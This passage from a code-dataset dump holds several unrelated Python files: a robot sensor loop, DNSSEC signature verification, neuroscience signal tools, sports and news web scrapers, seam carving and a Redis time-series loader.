x\r\n","sub_path":"pybert/preprocessing/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":7442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"460243950","text":"from pylgbst import *\nfrom pylgbst.hub import MoveHub\nfrom pylgbst.peripherals import *\nfrom robot import *\nfrom time import sleep\n\nBTN_FORWARD=19\nBTN_BACKWARD=26\n\nlogging.basicConfig(level = logging.WARN)\nlog = logging.getLogger(\"test\")\n\nmac=\"00:16:53:B2:30:37\"\nconn = get_connection_bluegiga(hub_mac=mac)\n\nprint(\"Connected.\")\n\nrobot = Robot(conn)\nrobot.addButton(BTN_BACKWARD)\nrobot.addButton(BTN_FORWARD)\nrobot.setInvert(False)\n\n#################################################################\nmoving = False\nisWhite = False\nisRed = False\n\ndef callback(color, distance):\n print(color)\n\n global isRed\n global isWhite\n if color == COLOR_RED:\n isRed=True\n isWhite = False\n elif color == COLOR_WHITE:\n isWhite = True\n isRed = False\n else:\n isRed = False\n isWhite = False\n\nrobot.setSensorCallback(callback)\n\ntry:\n while True:\n\n if robot.isButtonPressed(BTN_FORWARD):\n moving=True\n\n if robot.isButtonPressed(BTN_BACKWARD):\n moving = False\n\n\n step=0.2\n if moving:\n if isRed:\n robot.motor_AB.timed(step, 0.7, -0.3)\n robot.motor_AB.timed(step, 0.5) # FORWARD\n #robot.turn(LEFT)\n elif isWhite:\n robot.motor_AB.timed(step, -0.3, 0.7)\n robot.motor_AB.timed(step, 0.5) # FORWARD\n #robot.turn(RIGHT)\n else:\n robot.motor_AB.timed(step, 0.5)\n print(\"FORWARD\")\n\n sleep(0.1)\n\nfinally:\n robot.say(\"Goodbye\")\n GPIO.cleanup()\n\n","sub_path":"robot3_color_sensor.py","file_name":"robot3_color_sensor.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"124817005","text":"\"\"\"\n\nThe hashing and sha stuff\n\n\"\"\"\n\nfrom Crypto.Hash import SHA256\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\n\nfrom util import insertBytes\n\n\ndef createRRSetData(rr_set, rrsig_record, domain):\n \"\"\"\n Puts together data for an RRSet and computes hash\n https://tools.ietf.org/html/rfc4034#section-3.1.8.1\n :param rr_set: The RRset\n :param rrsig_record: The RRSIG record\n :param domain: The domain name of the RRSIG\n :return: The data ready for verification\n \"\"\"\n data = rrsig_record.type_covered.to_bytes(2, 'big') + \\\n rrsig_record.algorithm.to_bytes(1, 'big') + rrsig_record.labels.to_bytes(1, 'big') + \\\n rrsig_record.orig_ttl.to_bytes(4, 'big') + rrsig_record.expiration + \\\n rrsig_record.inception + rrsig_record.tag.to_bytes(2, 'big') + \\\n rrsig_record.signer_name\n\n for rr in rr_set:\n data += RRSignableData(rr, domain, rrsig_record.orig_ttl)\n\n return data\n\n\ndef createDSRecord(dnskey, domain):\n \"\"\"\n A DS record is just the hash of a public key. Uses SHA256\n :param dnskey: The DNSKEY record\n :param domain: The domain name\n :return: The SHA256 hash of the DNSKEY record\n \"\"\"\n data = formatName(domain)\n\n data += dnskey.rdata\n\n hasher = SHA256.new()\n hasher.update(data)\n return hasher.digest()\n\n\ndef formatName(name):\n \"\"\"\n Puts a domain name into that form DNS loves so much\n :param name: A domain name string\n :return: The name formatting for verification use\n \"\"\"\n name_bytes = bytearray(len(name) + 2)\n i = 0\n for domain in name.split('.'):\n name_bytes[i] = len(domain)\n i += 1\n insertBytes(name_bytes, domain.encode('utf-8', 'strict'), i)\n i += len(domain)\n name_bytes[i] = 0\n return name_bytes\n\n\ndef RRSignableData(rr, owner, orig_ttl):\n \"\"\"\n This will take a RR and return the bytes to be used in signing\n # RFC on signiture calculation: https://tools.ietf.org/html/rfc4034#section-3.1\n\n owner is the domain owner (EX: 'example.com', 'com'). This TECHNICALLY should\n be in the rr, but we never figured out the pointer name storage thing\n :param rr: The Resource record\n :param owner: The owner of the RR\n :param orig_ttl: original TTL from RRSIG record\n :return: The data set for verification\n \"\"\"\n formatted_owner = formatName(owner)\n return formatted_owner + rr.type.to_bytes(2, 'big') + rr.clazz.to_bytes(2, 'big') + \\\n orig_ttl.to_bytes(4, 'big') + rr.rdata_len.to_bytes(2, 'big') + rr.rdata\n\n\ndef verify_signature(signature, key, recordset):\n \"\"\"\n Verifies a signature\n :param signature: The signature\n :param key: The key\n :param recordset: The recordset to verify\n :return: True if verified, false otherwise\n \"\"\"\n expo, mod = get_expo_and_mod(key)\n constructed_key = RSA.construct((mod, expo))\n cipher = PKCS1_v1_5.new(constructed_key)\n return cipher.verify(SHA256.new(recordset), signature)\n\n\ndef get_expo_and_mod(dnskey):\n \"\"\"\n Gets the exponent and modulus from a DNSKEY record\n :param dnskey: The DNSKEY record\n :return: Tuples of (exponent, modulus)\n \"\"\"\n data = bytearray(dnskey.key)\n cursor = 1\n expo_len = int.from_bytes([data[0]], 'big')\n if expo_len == 0:\n expo_len = int.from_bytes(data[1:3], 'big')\n cursor = 3\n expo = int.from_bytes(data[cursor:cursor + expo_len], 'big')\n cursor += expo_len\n mod = int.from_bytes(data[cursor:], 'big')\n return expo, mod\n","sub_path":"crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"292584173","text":"\nimport microfabrication_functions as mfc\nimport microfabrication_constant as mconst\nimport time as time\nimport sys\nimport os as os\nimport sdl2.ext \nimport sdl2.sdlimage\n#os.environ[\"PYSDL2_DLL_PATH\"] = \"/Users/vishwanathan/Desktop/UM-2/undergrad_research/PySDL2-0.9.5\"\nRESOURCES = sdl2.ext.Resources(__file__, mconst.IMAGE_PATH)\nimage_list = mfc\nimage_filelist = mfc.read_files(mconst.IMAGE_PATH)\nsdl2.ext.init()\nwindow = sdl2.ext.Window(\"Hello World!\", size=(1000, 1000))\nwindow.show()\n#sdl2.SDL_SetWindowFullscreen(window, 1, flags = sdl2.SDL_WINDOW_FULLSCREEN_DESKTOP)\n\n\nfactory = sdl2.ext.SpriteFactory(sdl2.ext.SOFTWARE)\n\n\nspritelist =[]\n\nfor filename in image_filelist :\n sprite = factory.from_image(RESOURCES.get_path(filename.original_filename))\n spritelist.append(sprite)\n\nspriterenderer = factory.create_sprite_render_system(window)\nprint(\"yoh\")\nprocessor = sdl2.ext.TestEventProcessor()\nprint(\"yeh\")\nprocessor.run(window)\nsdl2.ext.get_events()\nstart = time.time()\nprint(\"yuh\")\nfor sprite in spritelist:\n spriterenderer.render(sprite)\n sdl2.timer.SDL_Delay(50)\n\n \nend = time.time()\nprint(end-start)\n\n\nsdl2.ext.quit()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"image_display.py","file_name":"image_display.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"335423714","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom scipy.optimize import leastsq\nimport weave\n\nimport sys\nimport scipy.io as sio\nimport neo\n\n#import GIF\n#from Experiment import *\n#from AEC_Badel import *\n\n###########################################################\n# Remove axis\n###########################################################\n\ndef removeAxis(ax, which_ax=['top', 'right']):\n\n for loc, spine in ax.spines.iteritems():\n if loc in which_ax:\n spine.set_color('none') # don't draw spine\n\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n\n\n###########################################################\n# Reprint\n###########################################################\ndef reprint(str):\n sys.stdout.write('%s\\r' % (str))\n sys.stdout.flush()\n\n\n###########################################################\n# Generate Ornstein-Uhlenbeck process\n###########################################################\n\ndef generateOUprocess(T=10000.0, tau=3.0, mu=0.0, sigma=1.0, dt=0.1):\n\n \"\"\"\n Generate an Ornstein-Uhlenbeck (stationnary) process with:\n - mean mu\n - intensity parameter sigma\n - temporal correlation tau (ms)\n The duration of the signal is specified by the input parameter T (in ms).\n The process is generated in discrete time with temporal resolution dt (in ms)\n \"\"\"\n\n T_ind = int(T/dt)\n\n white_noise = np.random.randn(T_ind)\n white_noise = white_noise.astype(\"double\")\n\n OU_process = np.zeros(T_ind)\n OU_process = OU_process.astype(\"double\")\n\n '''OU_k1 = dt / tau\n OU_k2 = np.sqrt(dt / tau)\n for t in xrange(T_ind-1) :\n OU_process[t + 1] = OU_process[t] + (mu - OU_process[t]) * OU_k1 + sigma * OU_k2 * white_noise[t]\n '''\n\n code = \"\"\"\n\n #include \n\n int cT_ind = int(T_ind);\n float cdt = float(dt);\n float ctau = float(tau);\n float cmu = float(mu);\n float csigma = float(sigma);\n\n float OU_k1 = cdt / ctau ;\n float OU_k2 = sqrt(cdt/ctau) ;\n\n for (int t=0; t < cT_ind-1; t++) {\n OU_process[t+1] = OU_process[t] + (cmu - OU_process[t])*OU_k1 + csigma*OU_k2*white_noise[t] ;\n }\n\n \"\"\"\n\n vars = ['T_ind', 'dt', 'tau', 'sigma','mu', 'OU_process', 'white_noise']\n v = weave.inline(code,vars)\n\n return OU_process\n\n\ndef generateOUprocess_sinSigma(f=1.0, T=10000.0, tau=3.0, mu=0.0, sigma=1.0, delta_sigma=0.5, dt=0.1):\n\n \"\"\"\n Generate an Ornstein-Uhlenbeck process with time dependent standard deviation:\n - mean mu\n - sigma(t) = sigma*(1+delta_sigma*sin(2pift)), f in Hz\n - temporal correlation tau (ms)\n The duration of the signal is specified by the input parameter T (in ms).\n The process is generated in discrete time with temporal resolution dt (in ms)\n \"\"\"\n\n OU_process = generateOUprocess(T=T, tau=tau, mu=0.0, sigma=1.0, dt=dt)\n t = np.arange(len(OU_process))*dt\n\n sin_sigma = sigma*(1+delta_sigma*np.sin(2*np.pi*f*t*10**-3))\n\n I = OU_process*sin_sigma + mu\n\n return I\n\n\ndef generateOUprocess_sinMean(f=1.0, T=10000.0, tau=3.0, mu=0.2, delta_mu=0.5, sigma=1.0, dt=0.1):\n\n \"\"\"\n Generate an Ornstein-Uhlenbeck process with time dependent mean:\n - sigma\n - mu(t) = mu*(1+delta_mu*sin(2pift)), f in Hz\n - temporal correlation tau (ms)\n The duration of the signal is specified by the input parameter T (in ms).\n The process is generated in discrete time with temporal resolution dt (in ms)\n \"\"\"\n\n OU_process = generateOUprocess(T=T, tau=tau, mu=0.0, sigma=sigma, dt=dt)\n t = np.arange(len(OU_process))*dt\n\n sin_mu = mu*(1+delta_mu*np.sin(2*np.pi*f*t*10**-3))\n\n I = OU_process + sin_mu\n\n return I\n\n\n###########################################################\n# Functin to convert spike times in spike indices\n###########################################################\ndef timeToIndex(x_t, dt):\n\n x_t = np.array(x_t)\n x_i = np.array( [ int(np.round(s/dt)) for s in x_t ] )\n x_i = x_i.astype('int')\n\n return x_i\n\n\n###########################################################\n# Functions to perform exponential fit\n###########################################################\n\ndef multiExpEval(x, bs, taus):\n\n result = np.zeros(len(x))\n L = len(bs)\n\n for i in range(L) :\n result = result + bs[i] *np.exp(-x/taus[i])\n\n return result\n\n\ndef multiExpResiduals(p, x, y, d):\n bs = p[0:d]\n taus = p[d:2*d]\n\n return (y - multiExpEval(x, bs, taus))\n\n\n\ndef fitMultiExpResiduals(bs, taus, x, y) :\n x = np.array(x)\n y = np.array(y)\n d = len(bs)\n p0 = np.concatenate((bs,taus))\n plsq = leastsq(multiExpResiduals, p0, args=(x,y,d), maxfev=100000,ftol=0.00000001)\n p_opt = plsq[0]\n bs_opt = p_opt[0:d]\n taus_opt = p_opt[d:2*d]\n\n fitted_data = multiExpEval(x, bs_opt, taus_opt)\n\n ind = np.argsort(taus_opt)\n\n taus_opt = taus_opt[ind]\n bs_opt = bs_opt[ind]\n\n return (bs_opt, taus_opt, fitted_data)\n\n\n###########################################################\n# Get indices far from spikes\n###########################################################\n\ndef getIndicesFarFromSpikes(T, spikes_i, dt_before, dt_after, initial_cutoff, dt) :\n\n T_i = int(T/dt)\n flag = np.zeros(T_i)\n flag[:int(initial_cutoff/dt)] = 1\n flag[-1] = 1\n\n dt_before_i = int(dt_before/dt)\n dt_after_i = int(dt_after/dt)\n\n for s in spikes_i :\n flag[ max(s-dt_before_i,0) : min(s+dt_after_i, T_i) ] = 1\n\n selection = np.where(flag==0)[0]\n\n return selection\n\n\ndef getIndicesDuringSpikes(T, spikes_i, dt_after, initial_cutoff, dt) :\n\n T_i = int(T/dt)\n flag = np.zeros(T_i)\n flag[:int(initial_cutoff/dt)] = 1\n flag[-1] = 1\n\n dt_after_i = int(dt_after/dt)\n\n for s in spikes_i :\n flag[ max(s,0) : min(s+dt_after_i, T_i) ] = 1\n\n selection = np.where(flag>0.1)[0]\n\n return selection\n\n\n###########################################################\n# Load AEC data\n###########################################################\ndef load_AEC_data(filename):\n if filename.find('.mat') > 0:\n mat_contents = sio.loadmat(filename)\n analogSignalsAEC = mat_contents['analogSignals']\n timesAEC = mat_contents['times']\n timesAEC = timesAEC.reshape(timesAEC.size)\n lengthAEC = timesAEC[-1]\n voltage_traceAEC = analogSignalsAEC[0, 0, :]\n current_traceAEC = analogSignalsAEC[1, 0, :] - 5. # Correction for exp bias\n maxT = int((lengthAEC - 0.5) / (timesAEC[1] - timesAEC[0]))\n minT = int(0.5 / (timesAEC[1] - timesAEC[0]))\n current_traceAEC = current_traceAEC[minT:maxT]\n voltage_traceAEC = voltage_traceAEC[minT:maxT]\n timesAEC = timesAEC[minT:maxT] * 10. ** 3\n sampling_time = timesAEC[1] - timesAEC[0]\n elif filename.find('.abf') > 0:\n r = neo.io.AxonIO(filename=filename)\n bl = r.read_block()\n voltage_traceAEC = bl.segments[0].analogsignals[0].magnitude\n current_traceAEC = bl.segments[0].analogsignals[1].magnitude - 5.\n timesAEC = bl.segments[0].analogsignals[0].times.rescale('ms').magnitude\n lengthAEC = timesAEC[-1]\n sampling_time = timesAEC[1] - timesAEC[0]\n maxT = int((lengthAEC - 0.5) / sampling_time)\n minT = int(0.5 / sampling_time)\n current_traceAEC = current_traceAEC[minT:maxT]\n voltage_traceAEC = voltage_traceAEC[minT:maxT]\n return (sampling_time, voltage_traceAEC, current_traceAEC)\n\n\ndef load_training_data(filename):\n if filename.find('.mat') > 0:\n mat_contents = sio.loadmat(filename)\n analogSignals = mat_contents['analogSignals']\n voltage_trace = analogSignals[0,0,:]\n current_trace = analogSignals[1,0,:] - 5. #offset due to uncalibrated current\n times = mat_contents['times'];\n times = times.reshape(times.size)\n times = times*10.**3 #convert to ms\n sampling_time = times[1] - times[0]\n elif filename.find('.abf') > 0:\n r = neo.io.AxonIO(filename=filename)\n bl = r.read_block()\n voltage_trace = bl.segments[0].analogsignals[0].magnitude\n current_trace = bl.segments[0].analogsignals[1].magnitude - 5.\n times = bl.segments[0].analogsignals[0].times.rescale('ms').magnitude\n sampling_time = times[1] - times[0]\n return (sampling_time, voltage_trace, current_trace, times)\n\n\n##########################################################\n# Plotting training trace with forced spikes\n##########################################################\n'''\ndef plot_training_forced(filename_AEC, filename_training, filename_model):\n \"\"\"\n :param filename_training: training data file name (string)\n :param filename_model: name of the model (ending in .pck)\n :return: none\n \"\"\"\n # Load AEC data\n (sampling_timeAEC, voltage_traceAEC, current_traceAEC) = load_AEC_data(filename_AEC)\n\n experiment = Experiment('Experiment 1', sampling_timeAEC)\n experiment.setAECTrace(voltage_traceAEC, 10. ** -3, current_traceAEC, 10. ** -12,\n len(voltage_traceAEC) * sampling_timeAEC, FILETYPE='Array')\n\n # Load preprocessed training data set\n (sampling_time, voltage_trace, current_trace) = load_training_data(filename_training)\n experiment.addTrainingSetTrace(voltage_trace, 10 ** -3, current_trace, 10 ** -12,\n len(voltage_trace) * sampling_time, FILETYPE='Array')\n\n # Compensate traces\n myAEC = AEC_Badel(experiment.dt)\n\n # Define metaparametres\n myAEC.K_opt.setMetaParameters(length=150.0, binsize_lb=experiment.dt, binsize_ub=2.0, slope=30.0, clamp_period=1.0)\n myAEC.p_expFitRange = [3.0, 150.0]\n myAEC.p_nbRep = 15\n\n # Assign myAEC to experiment and compensate the voltage recordings\n experiment.setAEC(myAEC)\n experiment.performAEC()\n\n # Load model\n model = GIF.load(filename_model)\n\n # Simulate model\n (time, V_est, eta_sum_est) = model.simulateDeterministic_forceSpikes(current_trace, voltage_trace[0], experiment.trainingset_traces[0].spks)\n\n #Plot\n plt.plot(time, V_est, 'r-', label='V_$\\mathrm{est}$', lw=0.5)\n plt.plot(time, voltage_trace, 'k-', label='V__$\\mathrm{training}$', lw=0.5)\n plt.xlabel('Time (ms)')\n plt.ylabel('V (mV)')\n plt.xlim(4000, 4500)\n plt.savefig(filename_model[:-4] + '_training_forced.png')\n plt.close()\n'''\n","sub_path":"src/Tools.py","file_name":"Tools.py","file_ext":"py","file_size_in_byte":10470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"487052043","text":"from bs4 import BeautifulSoup\nimport requests\n\nwith open('simple.html') as html_file:\n soup = BeautifulSoup(html_file, 'lxml')\nprint(soup.prettify())\n\nmatch = soup.find('div', class_ = 'footer')\nmatch = match.find('p')\nprint(match.text)\n","sub_path":"example_1.py","file_name":"example_1.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"421768222","text":"from six.moves.urllib.request import urlopen\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom scrapeTools import get_first_table\n\ndef nba_team_names():\n\ttable = get_first_table(\"https://www.foxsports.com/nba/standings?season=2018&seasonType=1&grouping=3&advanced=0\")\n\tdf = pd.read_html(str(table))[0]\n\treturn df[\"NBA\"]\n\ndef get_east_west():\n\ttable = get_first_table(\"https://www.foxsports.com/nba/standings?season=2018&seasonType=1&grouping=1&advanced=0\")\n\tdf = pd.read_html(str(table))[0]\n\teast = list(df.iterrows())[0:15]\n\twest = list(df.iterrows())[17:]\n\treturn east, west\n\ndef east_vs_west():\n\teast, west = get_east_west()\n\tWL =[0,0]\n\tfor index, row in east:\n\t\tteam_conf_rec = row['Conf'].split('-')\n\t\ttotal_wins = int(row['W'])\n\t\ttotal_losses = int(row['L'])\n\t\tWL[0] += total_wins - int(team_conf_rec[0])\n\t\tWL[1] += total_losses - int(team_conf_rec[1])\n\n\treturn \"East vs. West\\nRecord: \" + \"-\".join([str(i) for i in WL]) + \"\\nWPCT: \" + str(round(WL[0] / sum(WL), 3))\n\t","sub_path":"nbateams.py","file_name":"nbateams.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"562243947","text":"# -*- coding: utf-8 -*-\n'''\nTroisième étape : Destruction de la seam déterminée et décalage de l'image\n\nA ce stade, on dispose de : \n - une image à traiter\n - (Anthony) sa carte d'énergie\n - (Antoine) une fonction calculate_cost_matrix qui détermine une matrice des coûts de l'image\n - (Antoine) une fonction detect_seam utilisant la matrice de coûts, et qui retourne la seam verticale\n à enlever sous forme de tuple de coordonnées\n\nCe fichier permet de supprimer la seam calculée en deux étapes : \n - Destruction de la seam en décalant les pixels par dessus\n - Redimensionnement de l'image\n'''\n\nfrom PIL import Image\n\ndef remove_seam(im,seam):\n '''\n Cette fonction décale tous les pixels à droite du seam par dessus, la\n redimensionne et la retourne \n '''\n image = im.load()\n for elm in seam: #pour chaque element du seam (de la forme (x,y))\n for x in range (elm[0],im.size[0]-1): #pour chaque x \n image[x,elm[1]] = image[x+1,elm[1]]\n #final = resize(im,(im.size[0]-1,im.size[1]))\n box = (0,0,im.size[0]-1,im.size[1])\n im2 = im.crop(box) \n return im2 #l'image modifiée est retournée\n","sub_path":"seam_treatment.py","file_name":"seam_treatment.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"444815683","text":"import redis, time, random\n\nr = redis.Redis('localhost', 6379, socket_timeout=10)\n\n#r.execute_command('TS.CREATE', 'test-ts', 'retention', '60', 'labels', 'name', 'test')\n \nstart = time.time()\nend = start + 10\n#while time.time() < end:\nwhile True:\n r.execute_command('TS.ADD', 'test-ts', '*', random.uniform(0, 10))\n time.sleep(0.5)\n","sub_path":"TimeSeries/LoadTS.py","file_name":"LoadTS.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"367726339","text":"# \n# NaverNewsCrawler.py\n# Web crawling program for Naver News\n# Author : Ji-yong219\n# Project Start:: 2021.07.24\n# Last Modified from Ji-yong 2021.07.27\n#\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException, ElementNotInteractableException, StaleElementReferenceException\nimport datetime\nimport json\n\nfrom tqdm import trange\n\nfrom utils.util import *\nfrom crawlers.BaseCrawler import Crawler\n\nclass NaverCrawler(Crawler):\n chrome_options = None\n driver = None\n url_page_num = 0\n url = ''\n news_dic = {}\n news_queue = []\n\n # 생성자\n def __init__(self, driver_url, chrome_options):\n self.chrome_options = chrome_options\n \n self.driver_url = driver_url\n\n # 기사 링크 수집 메소드\n def crawlLinks(self, search, start_date, end_date):\n self.news_queue = []\n self.driver = webdriver.Chrome(self.driver_url, chrome_options=self.chrome_options)\n self.url_page_num = 0\n \n start_date_ = datetime.date(int(start_date[:4]), int(start_date[4:6]), int(start_date[6:]))\n end_date_ = datetime.date(int(end_date[:4]), int(end_date[4:6]), int(end_date[6:])) + datetime.timedelta(days=1)\n for date_ in daterange(start_date_, end_date_):\n self.url_page_num = 1\n\n while True:\n date__ = str(date_).replace('-', '.')\n date___ = str(date_).replace('-', '')\n self.url = f'https://search.naver.com/search.naver?where=news&sm=tab_pge&query={search}&sort=2&photo=0&field=0&pd=3&ds={date__}&de={date__}&mynews=0&office_type=0&office_section_code=0&news_office_checked=&nso=so:r,p:from{date___}to{date___},a:all&start={self.url_page_num}'\n \n \n print(f\"크롤링시작 URL:{self.url}\")\n self.driver.get(self.url)\n\n try:\n element = WebDriverWait(self.driver, 1).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"main_pack\"]/div[2]'))\n \n # class = 'api_noresult_wrap'\n )\n\n except TimeoutException:\n print(\"타임아웃\")\n \n break\n\n div, news = None, None\n\n div = self.driver.find_element_by_xpath('//*[@id=\"main_pack\"]/div[2]')\n\n if div.get_attribute('class') == 'api_noresult_wrap':\n break\n\n div = self.driver.find_element_by_xpath('//*[@id=\"main_pack\"]/section/div/div[2]/ul')\n\n news = div.find_elements_by_css_selector('a[class=\"info\"]')\n\n news = list(set(news))\n\n for i in range(len(news)):\n link = None\n\n link = news[i].get_attribute('href')\n\n if link is None or link == \"\":\n continue\n\n link = link.replace('\\n', '')\n # if link.startswith(\"https://news.naver.com/main/\") and link not in self.news_queue:\n if news[i].text == '네이버뉴스' and link not in self.news_queue:\n print(f'link : {link}')\n try:\n pass\n\n except ValueError as e:\n print(\"value Error\", e, link)\n\n else:\n link = link.replace(\"?f=o\", \"\")\n self.news_queue.append(link)\n\n self.url_page_num += 10\n\n with open(f'result/naver_news/urls_{search}_naver_{start_date}_{end_date}.json.txt', 'w', encoding='utf8') as f:\n f.writelines('\\n'.join(self.news_queue))\n\n self.news_queue = []\n self.driver.close()\n\n def crawlNews(self, search, start_date, end_date):\n self.news_queue = []\n news_dic = {}\n\n with open(f'result/naver_news/urls_{search}_naver_{start_date}_{end_date}.json.txt', 'r', encoding='utf8', newline='\\n') as f:\n for row in f.readlines():\n row = row.replace('\\n', '').replace('\\r', '')\n self.news_queue.append(row)\n\n self.driver = webdriver.Chrome(self.driver_url, chrome_options=self.chrome_options)\n \n \n\n for url in self.news_queue:\n count = 0\n print(f\"네이버뉴스 댓글 크롤링 시작 :{self.url}\")\n\n reply_texts = []\n\n self.driver.get(url)\n\n try:\n element = WebDriverWait(self.driver, 1).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"cbox_module\"]/div[2]/div[2]/ul/li[1]/span')) \n )\n\n except TimeoutException:\n print(\"타임아웃\")\n \n break\n\n div = self.driver.find_element_by_xpath('//*[@id=\"cbox_module_wai_u_cbox_content_wrap_tabpanel\"]')\n\n comment_count = self.driver.find_element_by_xpath('//*[@id=\"cbox_module\"]/div[2]/div[2]/ul/li[1]/span')\n\n if comment_count == '0':\n continue\n\n\n # date = self.driver.find_element_by_xpath('//*[@id=\"main_content\"]/div[1]/div[3]/div/span').text[:10].strip().replace('.', '')\n date = self.driver.find_element_by_css_selector('#main_content span[class=\"t11\"]').text[:10].strip().replace('.', '')\n if date not in news_dic.keys():\n news_dic[date] = []\n\n \n # all_comments_mode = div.find_element_by_xpath('//*[@id=\"cbox_module_wai_u_cbox_sort_option_tab2\"]')\n all_comments_mode = WebDriverWait(div, 2).until(EC.presence_of_element_located((By.XPATH, '//*[@id=\"cbox_module_wai_u_cbox_sort_option_tab2')) )\n all_comments_mode.click()\n\n safe_bot_mode1 = div.find_element_by_xpath('//*[@id=\"cbox_module\"]/div[2]/div[7]/a')\n safe_bot_mode1.click()\n safe_bot_mode2 = div.find_element_by_xpath('//*[@id=\"cleanbot_dialog_checkbox_cbox_module\"]')\n safe_bot_mode2.click()\n safe_bot_mode3 = div.find_element_by_xpath('/html/body/div[3]/div/div[2]/div[4]/button')\n safe_bot_mode3.click()\n\n while True:\n try:\n element = WebDriverWait(self.driver, 2).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"cbox_module\"]/div[2]/div[9]/a')) \n )\n \n more_btn = self.driver.find_element_by_xpath('//*[@id=\"cbox_module\"]/div[2]/div[9]/a')\n print(\"댓글 더보기 클릭\")\n more_btn.click()\n\n except TimeoutException:\n print(\"more 버튼 없음 타임아웃\")\n \n break\n\n except ElementNotInteractableException:\n print(\"more 버튼 없음\")\n \n break\n\n \n\n\n\n try:\n element = WebDriverWait(self.driver, 1).until(\n EC.presence_of_element_located((By.XPATH, '//*[@id=\"cbox_module\"]/div[2]/div[2]/ul/li[1]/span')) \n )\n\n except TimeoutException:\n print(\"타임아웃\")\n \n break\n\n div = self.driver.find_element_by_xpath('//*[@id=\"cbox_module_wai_u_cbox_content_wrap_tabpanel\"]')\n \n # comments = div.find_elements_by_xpath('//li[**starts-with(id,\"comment\")**]')\n comments = div.find_elements_by_css_selector('ul>li')\n reply_count = 0\n\n for i in range(len(comments)):\n comment = comments[i]\n this_class = comment.get_attribute('class')\n\n if \"comment_\" not in this_class:\n continue\n\n this_class = this_class.split(' ')[1]\n # print(f'this_class : {this_class}')\n\n is_exists_reply = True\n\n\n try:\n element = WebDriverWait(comment, 1).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, f'a[class=\"u_cbox_btn_reply\"]')) \n )\n reply_count = element.text\n if element.text == \"답글0\":\n is_exists_reply = False\n\n except TimeoutException:\n print(\"답글 버튼 없음 타임아웃\")\n is_exists_reply = False\n\n \n try:\n text = WebDriverWait(comment, 1).until(EC.presence_of_element_located((By.CSS_SELECTOR , f'div[class=\"u_cbox_text_wrap\"]'))).text\n if text != \"작성자에 의해 삭제된 댓글입니다.\":\n reply_texts.append( text )\n count += 1\n print(f\"수집한 댓글 : {count}개\\t{text}\")\n except:\n print(\"댓 못가져와서 패스\")\n continue\n\n if is_exists_reply:\n count2 = 0\n reply_btn = comment.find_element_by_css_selector(f'a[class=\"u_cbox_btn_reply\"]')\n # reply_btn.click()\n reply_btn.send_keys(Keys.ENTER)\n \n while True:\n try:\n element = WebDriverWait(comment, 1).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, f'a[class=\"u_cbox_btn_more\"]')) \n )\n \n more_btn2 = comment.find_element_by_css_selector(f'a[class=\"u_cbox_btn_more\"]')\n # print(\"답글 더보기 클릭\")\n more_btn2.send_keys(Keys.ENTER)\n\n except:\n # print(\"답글 더보기 버튼 없음 타임아웃\")\n break\n\n\n replys = []\n try:\n replys = WebDriverWait(reply, 1).until(EC.presence_of_element_located((By.CSS_SELECTOR , f'li[class=\"u_cbox_comment\"]')))\n except:\n pass\n\n for reply in replys:\n try:\n text = WebDriverWait(reply, 1).until(EC.presence_of_element_located((By.CSS_SELECTOR , 'span[class=\"u_cbox_contents\"] > p'))).text\n if text != \"작성자에 의해 삭제된 댓글입니다.\":\n reply_texts.append( text )\n count+=1\n count2+=1\n print(f\"수집한 댓글 : {count}개\\t{reply_count}개 중 {count2}개 수집\")\n\n except:\n print(\"답글 못가져와서 패스\")\n continue\n\n \n # reply_btn.send_keys(Keys.ENTER)\n # for i in reply_texts:\n # print(i)\n print(f'수집한 댓글 : {len(reply_texts)}')\n \n news_dic[date[0:8]].append(\n {\n url: {\n 'comments': reply_texts,\n 'emotions': []\n }\n }\n )\n\n self.driver.close()\n \n with open(f'result/naver_news/news_{search}_naver_{start_date}_{end_date}.json.txt', 'w', encoding='utf8') as f:\n json.dump(news_dic, f, indent=4, sort_keys=True, ensure_ascii=False)","sub_path":"crawlers/NaverNewsCrawler.py","file_name":"NaverNewsCrawler.py","file_ext":"py","file_size_in_byte":11905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"521677565","text":"# coding:utf-8\nimport tornado.web\nimport tornado.ioloop\nimport tornado.httpserver\nimport tornado.options\n\nimport os.path\nimport sqlite3\nimport datetime\nimport time\n\nimport common\nfrom tornado.options import define, options\nfrom tornado.escape import json_encode\n\nconn = sqlite3.connect('chatroom.db', timeout=1)\ncur = conn.cursor()\n\n\n# 用户信息修改\nclass 